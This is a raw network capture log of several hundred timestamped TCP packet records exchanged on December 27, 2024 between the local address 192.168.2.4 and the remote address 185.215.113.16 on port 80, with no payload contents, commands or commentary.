Dec 27, 2024 09:01:11.697017908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.697029114 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.697041035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.697053909 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.697072029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.697072029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.697112083 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.697192907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.697205067 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.697269917 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.697308064 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.697308064 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.816637039 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.816649914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.816814899 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.898066998 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.898124933 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.898205996 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.902271032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.902354002 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.902374029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.902475119 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.910651922 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.910691977 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.910717964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.910734892 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.919064045 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.919101000 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.919121027 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.919176102 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.927424908 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.927489042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.927539110 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.927587986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.935785055 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.935853958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.935945988 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.935945988 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.944087029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.944133043 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.944174051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.944174051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.952470064 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.952519894 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.952575922 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.952615023 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.960845947 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.960974932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.960990906 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.961108923 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.969219923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.969283104 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.969305038 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.969372034 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:11.977586985 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.977674007 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.977745056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.099528074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.099636078 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.099641085 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.099740028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.101968050 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.102077961 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.102145910 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.107165098 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.107256889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.107338905 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.112210035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.112341881 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.112351894 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.112402916 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.117328882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.117422104 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.117733955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.122473955 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.122597933 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.122714043 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.127592087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.127717972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.127821922 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.132679939 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.132800102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.133054972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.137868881 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.137928963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.138076067 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.142951012 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.143029928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.143115044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.148070097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.148133993 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.148169041 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.148247957 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.153179884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.153239012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.153269053 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.153305054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.158329010 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.158495903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.158546925 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.163459063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.163554907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.163608074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.168585062 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.168674946 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.168684959 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.168848991 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.173691034 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.173739910 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.173804998 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.173924923 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.178795099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.178927898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.178978920 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.183897972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.183973074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.184047937 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.184187889 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.189054012 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.189229012 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.189275026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.194159031 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.194297075 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.194324017 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.194360018 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.199356079 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.199563026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.300762892 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.300811052 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.300851107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.300908089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.302751064 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.302839041 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.302856922 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.302906036 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.306862116 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.306962013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.307003975 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.307003975 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.311024904 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.311072111 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.311122894 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.311270952 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.315087080 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.315170050 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.315208912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.315208912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.319039106 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.319087029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.319293976 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.319344044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.322958946 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.323009968 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.323018074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.323101997 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.326636076 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.326682091 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.326752901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.326901913 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.330410957 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.330539942 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.330583096 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.330583096 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.334130049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.334173918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.334228992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.334352970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.337892056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.338042021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.338079929 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.338079929 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.341759920 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.341780901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.341834068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.341887951 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.345376968 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.345439911 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.345622063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.345702887 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.349138975 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.349219084 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.349241972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.349327087 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.352875948 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.352986097 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.352993011 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.353092909 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.356643915 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.356754065 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.356790066 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.356790066 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.360575914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.360594988 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.360624075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.360642910 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.364144087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.364248037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.364293098 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.364315987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.367902994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.367978096 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.368011951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.368313074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.371676922 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.371751070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.371786118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.371890068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.375375032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.375418901 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.375469923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.375505924 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.379142046 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.379255056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.379271984 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.379338026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.382940054 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.383085012 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.383126974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.383126974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.386651039 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.386725903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.386831999 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.390403986 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.390463114 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.390480995 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.390532017 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.394176960 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.394222975 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.394279003 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.394419909 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.397914886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.398019075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.398032904 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.398087025 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.401700020 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.401743889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.401978016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.405405998 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.405447006 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.405493021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.405497074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.406027079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.501734972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.501768112 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.501826048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.501826048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.502598047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.502650023 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.502706051 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.502759933 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.505480051 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.505538940 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.505554914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.505605936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.508300066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.508363962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.508404970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.508588076 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.511188984 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.511277914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.511317968 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.511317968 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.513952971 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.514029026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.514058113 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.514127970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.516737938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.516796112 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.516801119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.516850948 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.519391060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.519483089 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.519500017 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.519529104 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.522007942 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.522069931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.522186995 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.522259951 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.524638891 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.524722099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.524755955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.524795055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.527183056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.527232885 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.527273893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.527395964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.529800892 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.529860973 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.529885054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.529994965 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.532337904 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.532480955 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.532525063 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.532525063 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.534848928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.534902096 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.534970045 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.535034895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.537344933 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.537403107 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.537475109 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.537530899 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.539921999 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.539963961 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.539974928 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.540008068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.542309999 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.542367935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.542371035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.542414904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.544817924 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.544909954 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.544944048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.544944048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.547293901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.547337055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.547337055 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.547368050 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.549791098 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.549935102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.549988985 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.552263021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.552319050 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.552433968 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.552478075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.554766893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.554919004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.555248976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.557252884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.557347059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.557394981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.557394981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.559734106 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.559783936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.559859037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.559972048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.562280893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.562421083 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:12.562438011 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:12.562480927 CET	49789	80	192.168.2.4	185.215.113.16
